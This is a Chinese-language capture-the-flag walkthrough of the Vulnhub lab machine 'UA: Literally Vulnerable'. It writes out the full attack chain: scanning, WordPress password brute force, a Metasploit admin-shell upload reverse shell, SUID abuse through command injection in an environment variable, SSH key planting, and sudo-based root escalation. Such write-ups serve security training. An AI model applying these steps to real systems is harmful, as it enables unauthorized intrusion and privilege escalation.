Vulnhub靶场UA: Literally Vulnerable靶机渗透笔记
关于靶机
发行信息
-
Name: UA: Literally Vulnerable
-
Date release: 6 Dec 2019
-
Author: Syed Umar Arfeen
-
Series: UA
描述
- Flags: 3 (local.txt, user.txt & root.txt)
- Difficulty Level: 获得Shell (简单) - 权限提升 (中等)
- Website: https://ebryx.com
- Hint: 也许,你匆匆忙忙地留下了一些未解决的漏洞?
该漏洞可以使初学者同时体验真实场景和OSCP机器!它受到@DC系列的极大启发。
您需要具备有关Linux文件类型和权限的足够信息,才能进行权限提升。
技术信息
- 只需在VMware Workstation中下载,解压缩并加载.vmx文件(在VMware Workstation 15.xx上进行了测试)
- 网络适配器当前为NAT模式,并且开启了DHCP服务,IP地址将自动进行分配
屏幕截图
信息收集
主机发现
首先查看一下攻击机Kali Linux的ip地址,从返回结果得到ip地址为:192.168.59.134
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.134 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe7c:8e8e prefixlen 64 scopeid 0x20<link>
ether 08:00:27:7c:8e:8e txqueuelen 1000 (Ethernet)
RX packets 262425 bytes 40563341 (38.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 402574 bytes 31287087 (29.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 157 bytes 11287 (11.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 157 bytes 11287 (11.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
然后使用nmap扫描同网段下的存活主机,命令如下:
nmap -sn 192.168.59.134
经过扫描,在同网段下还发现了ip地址为192.168.59.136的存活主机,不难推断就是我们的靶机。
Kali Linux :192.168.59.134
Literally :192.168.59.136
端口扫描
拿到靶机的ip地址之后,使用nmap扫描探测靶机的开放端口,命令如下:
nmap -A -p- 192.138.59.136
经过端口扫描之后,我们发现目标主机开放了21,22,80和65535端口。并且在21端口运行FTP服务,在22端口运行ssh服务,在80端口和65535端口运行http服务。
查看端口
在了解目标机器的开放端口后,我们访问一下各个端口,查看相应的服务。
FTP(21)
访问目标主机的21端口,查看FTP服务,并尝试匿名登陆成功。发现在FTP目录下有一个“backupPassword”文件,似乎是密码的备份文件,查看一下,好像是经过加密的密码格式,将这些密码保存下来备用。
HTTP(80)
接下来,访问一下80端口的HTTP服务,但是HTTP页面似乎没有完全加载,发现该站点正在向名为literal.vurnerable的域名发出请求。因此,在我们的攻击者Kali上,我们需要将该域名映射到远程计算机的IP。为此,请在攻击者Kali上的“/etc /hosts”文件的末尾添加一行。如下所示:
echo "192.168.59.136 literally.vulnerable" >> /etc/hosts
host添加完成后,页面即可正常显示。
但是经过扫描之后,并没有发现什么有价值的可利用信息。另外,看到页面上面的提示“Not so Vulnerable”(不太脆弱),觉得可能这个页面并不是正确的切入点。于是把目标转向65535端口。
HTTP(65535)
访问65535端口的HTTP服务后,发现这只是一个apache的默认页面,在这个页面上并不能发现其他信息,于是尝试进行目录扫描,看看能否发现其他信息。
目录扫描
这里进行目录扫描选择使用dirb工具,字典使用“/usr/share/wordlists/dirb/big.txt”,命令如下:
dirb http://192.168.59.136:65535/ /usr/share/wordlists/dirb/big.txt
经过目录扫描,发现了一个“/phpcms”的页面似乎有些端倪,访问一下这个页面,发现了另一个wordpress页面,并且在这个页面提示我们“Literally Vulnerable”(从字面上看是脆弱的),所以我认为这应该是一个切入点。
枚举用户名
既然我们知道这是一个wordpress页面,那么如果我们获取到了它的后台管理员用户密码应该就可以查看其中一些信息。这里我们使用工具wpscan对目标网站进行枚举,命令如下:
wpscan --url http://192.168.0.3:65535/phpcms --enumerate
通过枚举,我们发现了两个用户名:“maybeadmin”和“notadmin”,接下来使用从FTP服务器上下载的密码对这两个用户进行爆破。
爆破密码
首先,需要准备好用户名和密码列表。
echo notadmin >> users.txt
echo notadmin >> users.txt
接下来,使用wpscan进行爆破,命令如下:
wpscan --url http://192.168.59.136:65535/phpcms -U users.txt -P backupPasswords
Nice!经过爆破,我们成功获取了“maybeadmin”用户的密码。
检查后台
在拿到maybeadmin用户的密码后,我迫不及待地登录了wordpress的后台,希望可以在后台中获得一些信息。
但是很可惜,经过检查发现,“maybeadmin”用户并不是管理员,于是在后台的各个页面进行查看,功夫不负有心人,在Post页面我们发现了另一个用户“notadmin”的密码!!!并且经过检查发现这个用户为管理员!
漏洞利用
反弹shell
在获得了管理员的用户名密码之后,我们可以使用Metasploit来获取一个反向shell:
root@kali:~# msfconsole
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 > set rhosts 192.168.59.136
msf5 > set rport 65535
msf5 > set targeturi /phpcms
msf5 > set username notadmin
msf5 > set password Pa$$w0rd13!&
msf5 > exploit
可以看到现在我们成功的获取到了目标机器的反向shell,检查一下当前用户,并使用python建立一个tty标准终端。
目录枚举并切换用户
进入到目标机器的shell后,对目录进行枚举,发现了一个二进制文件,并且有一个名为john的用户启用了SUID权限。尝试执行这个二进制文件,会提示我们路径不正确。
然后经过一番错误的尝试之后,我发现这个二进制文件只是对应名为PWD的环境变量的值,然后我尝试操作这个变量使其执行/bin/bash
export PWD =\$(/bin/bash\)
./itseasy
Good!可以看到我们现在已经进入john用户下了。
连接SSH
既然我们现在已经可以访问john用户了,那么我想是否可以通过$HOME/.ssh/authorized_keys来设置无密码登录来对该用户进行SSH访问。
首先,在Kali上生成一个ssh key并查看。命令如下:
root @ kali:〜#ssh-keygen
root @ kali:〜#cat /root/.ssh/id_rsa.pub
然后在远程shell中执行以下命令:
john @ literallyvulnerable:/home/doe$ mkdir -p /home/john/.ssh
john @ literallyvulnerable:/home/doe$ echo “<public_key>” > /home/john/.ssh/authorized_keys
通过以上两个步骤,我们使目标机器相信攻击机是受信任的授权计算机,无需使用密码即可作为john用户与其连接。
接下来检查一下是否可行,打开一个新的终端并以john身份连接到目标机器,命令如下:
ssh john@192.168.59.136
Wow!成功连接ssh!
权限提升
连接到ssh后,我以为万事俱备了,但是我被困在了这里。我做了很多尝试,但是没有任何方法可以提权。我要尝试“执行sudo -l 。但是我们需要使用sudo密码。于是我开始思考:sudo密码隐藏在哪里?
思考过后,我尝试使用find命令查找文件名带有“ password”的执行文件之后,我似乎明白了。我忘了这是一台“表面上脆弱的”机器。
find . -type f -iname "*password*" 2>/dev/null
cat ./.local/share/tmpFiles/myPassword
挺有意思的,这个文件中写着“因为我不想让我的同事入侵我,所以使用b64对其进行编码!”没忍住笑出声哈哈哈。
接下来对base64进行解密即可
echo“ am9objpZWlckczhZNDlJQiNaWko =” | base64 -d
可以看到我们成功解密,拿到了john的密码!
现在我们可以执行 sudo-l 命令,查看一下john用户都有哪些权限。
看到提示我们说john可以在这台机器上执行(root)/var/www/html/test.html,也就是说,这个文件是属于root用户的,但是john可以执行它,那就执行看看呗。执行之后也没什么有价值的东西。
这个时候我想到,既然john可以执行这个文件,如果文件内容我们自己可以写入的话,不就可以达到利用的目的了吗。想到这里,想起来www-data用户就可以写入文件,我感觉离成功不远了!
在msf中退出john用户,进入www-data用户,制作一个具有所需的文件,并对该文件赋予完全权限。
echo "/bin/bash" > /var/www/html/test.html
chmod 777 /var/www/html/test.html
然后我们回到ssh连接的john用户的终端,执行/var/www/html/test.html文件,执行完毕后查看当前用户,可以看到,我们已经是root用户了!至此提权完成!
获取Flag
在获取root权限之后,浏览目录,查看各个flag。
root@literallyvulnerable:~# cat /home/doe/local.txt
root@literallyvulnerable:~# cat /home/john/user.txt
root@literallyvulnerable:~# cat /root/root.txt
至此,整个渗透过程完毕。
总结
SSH 认证过程
简要过程如下
- Client端向Server端发起SSH连接请求。
- Server端向Client端发起版本协商。
- 协商结束后Server端发送Host Key公钥 Server Key公钥,随机数等信息。到这里所有通信是不加密的。
- Client端返回确认信息,同时附带用公钥加密过的一个随机数,用于双方计算Session Key。
- 进入认证阶段。从此以后所有通信均加密。
- 认证成功后,进入交互阶段。
Linux 特殊权限 SUID
SUID
当 s 出现在文件拥有者的 x 权限上时,就被称为 SETUID BITS 或 SETUID ,其特点如下:
- SUID 权限仅对二进制可执行文件有效
- 如果执行者对于该二进制可执行文件具有 x 的权限,执行者将具有该文件的所有者的权限
- 本权限仅在执行该二进制可执行文件的过程中有效
我们来看 test 用户是如何利用 SUID 权限完成密码修改的:
- test 用户对于 /usr/bin/passwd 这个程序具有执行权限,因此可以执行 passwd 程序
- passwd 程序的所有者为 root
- test 用户执行 passwd 程序的过程中会暂时获得 root 权限
- 因此 test 用户在执行 passwd 程序的过程中可以修改 /etc/shadow 文件
但是如果由 test 用户执行 cat 命令去读取 /etc/shadow 文件确是不行的,原因很清楚,test 用户没有读 /etc/shadow 文件的权限,同时 cat 程序也没有被设置 SUID。